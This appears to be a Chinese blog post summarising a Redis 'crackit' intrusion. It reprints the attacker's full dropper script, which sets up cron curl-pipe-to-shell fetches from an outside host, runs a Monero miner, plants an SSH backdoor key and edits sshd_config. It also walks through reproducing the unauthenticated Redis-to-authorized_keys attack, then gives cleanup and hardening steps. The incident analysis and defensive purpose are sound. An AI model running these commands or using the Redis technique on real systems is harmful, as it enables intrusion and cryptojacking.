redis crackit入侵事件总结
今天发现服务器有异常进程/opt/yam/yam,上网搜了搜,是由于redis未授权引起的入侵,查了些资料,这里做下总结。
1. 现象
有以下其一现象就要注意是否被入侵
- crontab -l 可以看到类似“*/15 * * * * curl -fsSL https://r.chanstring.com/api/report?pm=0623 | sh”。
- ps -ef 可以看到进程 “/opt/yam/yam -c x -M stratum+tcp://46fbJKYJRa4Uhvydj1ZdkfEo6t8PYs7gGFy7myJK7tKDHmrRkb8ECSXjQRL1PkZ3MAXpJnP77RMBV6WBRpbQtQgAMQE8Coo:x@xmr.crypto-pool.fr:6666/xmr”。
- 查看redis库,有“crackit”键。
2. 分析
通过查看从“https://r.chanstring.com/api/report?pm=0623”获取的脚本进行分析,脚本如下:
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin
echo "*/15 * * * * curl -fsSL https://r.chanstring.com/api/report?pm=0623 | sh" > /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo "*/15 * * * * curl -fsSL https://r.chanstring.com/api/report?pm=0623 | sh" > /var/spool/cron/crontabs/root
ps auxf | grep -v grep | grep yam || nohup /opt/yam/yam -c x -M stratum+tcp://46fbJKYJRa4Uhvydj1ZdkfEo6t8PYs7gGFy7myJK7tKDHmrRkb8ECSXjQRL1PkZ3MAXpJnP77RMBV6WBRpbQtQgAMQE8Coo:x@xmr.crypto-pool.fr:6666/xmr &
if [ ! -f "/root/.ssh/KHK75NEOiq" ]; then
mkdir -p ~/.ssh
rm -f ~/.ssh/authorized_keys*
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzwg/9uDOWKwwr1zHxb3mtN++94RNITshREwOc9hZfS/F/yW8KgHYTKvIAk/Ag1xBkBCbdHXWb/TdRzmzf6P+d+OhV4u9nyOYpLJ53mzb1JpQVj+wZ7yEOWW/QPJEoXLKn40y5hflu/XRe4dybhQV8q/z/sDCVHT5FIFN+tKez3txL6NQHTz405PD3GLWFsJ1A/Kv9RojF6wL4l3WCRDXu+dm8gSpjTuuXXU74iSeYjc4b0H1BWdQbBXmVqZlXzzr6K9AZpOM+ULHzdzqrA3SX1y993qHNytbEgN+9IZCWlHOnlEPxBro4mXQkTVdQkWo0L4aR7xBlAdY7vRnrvFav root" > ~/.ssh/KHK75NEOiq
echo "PermitRootLogin yes" >> /etc/ssh/sshd_config
echo "RSAAuthentication yes" >> /etc/ssh/sshd_config
echo "PubkeyAuthentication yes" >> /etc/ssh/sshd_config
echo "AuthorizedKeysFile .ssh/KHK75NEOiq" >> /etc/ssh/sshd_config
/etc/init.d/sshd restart
fi
if [ ! -f "/opt/yam/yam" ]; then
rm -rf /opt/yam
mkdir -p /opt/yam
curl -fsSL https://r.chanstring.com/api/download/yam -o /opt/yam/yam
chmod +x /opt/yam/yam
nohup /opt/yam/yam -c x -M stratum+tcp://46fbJKYJRa4Uhvydj1ZdkfEo6t8PYs7gGFy7myJK7tKDHmrRkb8ECSXjQRL1PkZ3MAXpJnP77RMBV6WBRpbQtQgAMQE8Coo:x@xmr.crypto-pool.fr:6666/xmr &
fi
if [ ! -f "/etc/init.d/lady" ]; then
if [ ! -f "/etc/systemd/system/lady.service" ]; then
mkdir -p /opt
curl -fsSL https://r.chanstring.com/v10/lady_`uname -i` -o /opt/KHK75NEOiq33 && chmod +x /opt/KHK75NEOiq33 && /opt/KHK75NEOiq33
fi
fi
rm -rf /tmp/KHK75NEOiq*
service lady start
systemctl start lady.service
/etc/init.d/lady start
上面的脚本大概做了如下几件事:
- 将攻击脚本写入肉鸡的crontab中,定时执行;
- 将/opt/yam/yam(https://r.chanstring.com/api/download/yam处获取)放肉鸡后台执行;
- 建立到肉鸡的单向信任关系,即无需密码即可以root权限登录肉鸡 注册
并启动/etc/init.d/lady(https://r.chanstring.com/v10/lady_`uname -i`处获取)服务。
3. 模拟
为了更好地理解具体流程,以便于采取补救措施,这里手动进行下模拟:
前提:远程主机可以无需密码登录redis
- 执行命令“ssh-keygen -t rsa”一路回车到底,生成公钥和私钥(也可以执行 ssh-keygen -t rsa -C "ssss"以隐藏公钥中的主机名)。 生成到txt “(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt”(为了避免会拼接在其他字符串后面或被其他字符串拼接,这里在公钥上下加两行空行)
- 清空redis:redis-cli -h 远程ip flushall (非常暴力,请务必在测试环境执行。实际上也不用清空,因为在第2步中我们已经加了多的空行)
- 执行:“cat foo.txt | redis-cli -h xxxx -x set crackit”(这里“crackit”可以是任意名字)
- 执行命令“redis-cli -h 远程ip”登录到远程主机redis,执行如下命令:
config set dir /root/.ssh/
config dbfilename authorized_keys
save 上面命令是调用config set命令对redis的备份文件路径进行修改,然后执行save进行生成备份文件(这里是生成了authorized_keys文件,也可以是任意名字,但如果是其他名字就需要通过脚本对远程主机/etc/ssh/sshd_config文件进行相应的配置)。这样就可以使用本地的私钥去登入被植入公钥的ssh服务器了。
5. 然后写一个对远程主机的/etc/ssh/sshd_config进行相关配置并重启远程主机sshd服务的脚本,通过上面的步骤植入到远程主机的/var/spool/cron/root文件中,以让远程主机执行该脚本。
到这里,我们就可以不需要密码以root身份登录远程主机了。
<h1>4. 清理</h1>
若不想重装系统,就得清理掉入侵者写入本地的文件,及在本机开启的服务。
1. 删掉/var/spool/cron/root、/var/spool/cron/crontabs/root,重启crontab服务;
2. 删掉/root/.ssh/目录下的异常文件(可以删除所有文件);
3. kill掉/opt/yam/yam产生的进程,并删除/opt/yam/yam;
4. 将/etc/init.d/lady从服务列表中删除,停掉/etc/init.d/lady,删除/etc/init.d/lady;
5. 修复/etc/ssh/sshd_config文件; 修复redis配置文件,重启redis。
<h1>5. 修补加固建议</h1>
1. 通过配置rename-command CONFIG "",禁用一些命令。(某些必须以高权限运行的,可以借鉴该方案)
修改redis.conf文件,增加
rename-command FLUSHALL ""
rename-command FLUSHDB ""
rename-command CONFIG ""
rename-command EVAL ""
2. 以低权限启动redis
切换到其他用户su - xxx,然后再启动server(切换是否注意之前文件权限,也需要相应修改)。
3. 给redis增加验证。
修改redis.conf文件
requirepass mypassword
4. 禁止对公网开放,将端口绑定到固定IP。
修改redis.conf文件
bind 127.0.0.1
5. 检查用户.ssh目录下是否已经存在非法的authorized_keys文件。
redis crackit入侵事件总结的更多相关文章
- Redis CrackIT 入侵事件引发Linux 沦陷
▲针对全球6379端口的redis服务器做了扫描,结果如上图 如图开放在公网的redis的6379端口的ip总数有63443个.无密码认证的IP有43024个,在总数占比里达到67%.发现遭受到red ...
- Redis Crackit漏洞防护
Redis Crackit漏洞利用和防护 注意:本文只是阐述该漏洞的利用方式和如何预防.根据职业道德和<中华人民共和国计算机信息系统安全保护条例>,如果发现的别人的漏洞,千万不要轻易入侵, ...
- Redis Crackit漏洞利用和防护
注意:本文只是阐述该漏洞的利用方式和如何预防.根据职业道德和<中华人民共和国计算机信息系统安全保护条例>,如果发现的别人的漏洞,千万不要轻易入侵,这个是明确的违法的哦!!! 目前Redis ...
- 如何利用redis key过期事件实现过期提醒
https://blog.csdn.net/zhu_tianwei/article/details/80169900 redis自2.8.0之后版本提供Keyspace Notifications功能 ...
- SpringBoot实现监听redis key失效事件
需求: 处理订单过期自动取消,比如下单30分钟未支付自动更改订单状态 解决方案1: 可以利用redis天然的key自动过期机制,下单时将订单id写入redis,过期时间30分钟,30分钟后检查订单状态 ...
- (转)裸奔的后果!一次ssh被篡改的入侵事件
裸奔的后果!一次ssh被篡改的入侵事件 原文:http://blog.51cto.com/phenixikki/1546669 通常服务器安全问题在规模较小的公司常常被忽略,没有负责安全的专员,尤其是 ...
- Redis实现之事件
事件 Redis服务器是一个事件驱动程序,服务器需要处理以下两类事情: 文件事件(file event):Redis服务器通过套接字与客户端(或者其他Redis服务器)进行连接,而文件事件就是服务器对 ...
- Redis Key过期事件
解决方案1: 可以利用redis天然的key自动过期机制,下单时将订单id写入redis,过期时间30分钟,30分钟后检查订单状态,如果未支付,则进行处理但是key过期了redis有通知吗?答案是肯定 ...
- 我的 Redis 被入侵了
好吧,我也做了回标题党,像我这么细心的同学,怎么可能让服务器被入侵呢? 其实是这样的,昨天我和一个朋友聊天,他说他自己有一台云服务器运行了 Redis 数据库,有一天突然发现数据库里的数据全没了,只剩 ...
随机推荐
- C#_关键字:Lock的解释和使用
定义 lock关键字,互斥锁,通过锁住某一对象从而将语句块({})里面的代码设置为临界区. 线程在线性执行代码时若遇到互斥锁,必须先申请互斥锁的访问权,若访问成功,则继续线性访问互斥锁后的临界区代码块 ...
- spring源码阅读笔记08:bean加载之创建bean
上文从整体视角分析了bean创建的流程,分析了Spring在bean创建之前所做的一些准备工作,并且简单分析了一下bean创建的过程,接下来就要详细分析bean创建的各个流程了,这是一个比较复杂的过程 ...
- Websocket直播间聊天室教程 - GoEasy快速实现聊天室
最近两年直播那个火啊,真的是无法形容!经常有朋友问起,我想实现一个直播间聊天或者我想开发一个聊天室, 要如何开始呢? 今天小编就手把手的教你用GoEasy做一个聊天室,当然也可以用于直播间内的互动.全 ...
- Redis Linux安装+配置
1.进入指定目录,下载资源(也可本地下载后复制到指定目录) wget http://download.redis.io/releases/redis-5.0.5.tar.gz 2.解压到指定目录 ta ...
- Linux常见提权
常见的linux提权 内核漏洞提权 查看发行版 cat /etc/issue cat /etc/*-release 查看内核版本 uname -a 查看已经安装的程序 dpkg -l rpm -qa ...
- MySQL之慢日志记录、分页
1.慢日志记录 slow_query_log = OFF #是否开启慢日志记录 long_query_time = 2 #时间限制,超过此时间,则记录 slow_query_log_file = C: ...
- 2019-2020-1 20199308《Linux内核原理与分析》第一周作业
Linux 基础入门(新版)学习笔记 实验二 基本概念及操作 重要快捷键 Tab 补全命令 Ctrl+c 强行终止当前命令 历史命令 方向上键↑,恢复之前输入过的命令 通配符 在命令行中获取帮助 某个 ...
- 日志分析工具ELK(四)
Logstash收集TCP日志 #Input plugins TCP插件 所需的配置选项 tcp { port =>... } [root@linux-node1 ~]# cat tcp.con ...
- PCA主成分分析(上)
PCA主成分分析 PCA目的 最大可分性(最大投影方差) 投影 优化目标 关键点 推导 为什么要找最大特征值对应的特征向量呢? 之前看3DMM的论文的看到其用了PCA的方法,一开始以为自己对于PCA已 ...
- 让webpack打包支持ES7的async/await语法
npm install --save-dev babel-plugin-transform-runtime npm install --save babel-runtime .babelrc配置 { ...